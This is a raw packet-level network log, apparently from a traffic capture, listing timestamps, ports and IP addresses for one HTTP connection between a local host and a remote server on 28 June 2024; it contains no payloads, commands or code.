Jun 28, 2024 13:36:24.244946957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244976997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244976997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245008945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245023012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245037079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245049953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245064020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245065928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245065928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245079994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245115042 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245153904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245167971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245182037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245196104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245208979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245218992 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245230913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245244980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245259047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245263100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245263100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245274067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245282888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245289087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245304108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245333910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245333910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245361090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245456934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245471001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245486021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245500088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245523930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245523930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245543957 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245569944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245584965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245599031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245614052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245613098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245628119 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245629072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245640993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245666027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245691061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245706081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245738983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245758057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245817900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245834112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245848894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245870113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245883942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245891094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245898008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.245898962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245914936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.245929003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.246011972 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.251065016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.251123905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.251873016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.251888037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.251903057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.251916885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.251930952 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.251945972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.251950979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.251980066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.251980066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.252326012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252348900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252363920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252377987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252392054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252393007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.252407074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252418995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.252427101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252440929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252454996 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.252454996 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.252456903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252492905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252494097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.252526999 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.252528906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252543926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.252547026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.252594948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.252666950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.253353119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.253444910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.253530025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.253546000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.253598928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.253598928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.267997980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268044949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268074036 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.268085003 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268088102 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.268109083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268125057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268152952 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.268188000 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.268204927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268219948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268234968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268263102 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.268277884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.268321991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268337011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268351078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268367052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268388033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268395901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.268395901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.268403053 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.268419027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.268459082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.302187920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302203894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302218914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302254915 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.302267075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302283049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302290916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302297115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.302299023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302325964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302340031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302347898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302376032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302391052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302407026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302417040 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.302438974 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.302463055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.302481890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.302501917 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.329823017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.329839945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.329854012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.329900026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.329900026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.329977036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.329991102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330007076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330020905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330033064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330033064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330037117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330059052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330073118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330086946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330090046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330101013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330125093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330125093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330125093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330125093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330183983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330198050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330244064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330245018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330259085 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330275059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330290079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330291986 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330291986 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330336094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330348969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330374956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330399990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330415010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330466032 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330466032 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330497980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330514908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330568075 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330648899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330663919 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330677986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330698013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330701113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330714941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330729961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330744982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330746889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330746889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330759048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330784082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330784082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330792904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.330952883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330976963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.330990076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331001997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331027031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331027031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331060886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331073999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331089020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331104040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331118107 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331140995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331171989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331190109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331196070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331231117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331245899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331265926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331283092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331312895 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331331015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331343889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331358910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331377029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331377029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331406116 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331420898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331435919 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331502914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331567049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331852913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331893921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331907988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331938028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331952095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331954956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331967115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.331995010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.331995010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332046032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332057953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332061052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332077026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332092047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332107067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332120895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332123041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332123041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332134008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332145929 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332178116 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332570076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332585096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332598925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332612991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332619905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332628012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332640886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332642078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332664967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332679033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332679987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332679987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332693100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332714081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332720041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332720041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332729101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332743883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332751036 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332751036 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332766056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332767010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332779884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332784891 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332796097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332812071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332822084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332822084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332827091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332835913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332840919 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332854986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332868099 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332868099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332868099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332884073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332897902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332904100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332904100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332911968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332925081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332942009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332952023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332952023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.332954884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332969904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332982063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.332986116 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.333008051 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.333026886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362294912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362361908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362452030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362466097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362482071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362495899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362512112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362510920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362523079 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362525940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362540007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362576962 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362585068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362598896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362606049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362612963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362637043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362647057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362647057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362653017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362665892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362680912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.362690926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362690926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362725973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.362725973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.384614944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.384645939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.384670019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.384670973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.384692907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.384706020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.384747028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.384762049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.384777069 CEST	80	49721	77.91.77.81	192.168.2.5
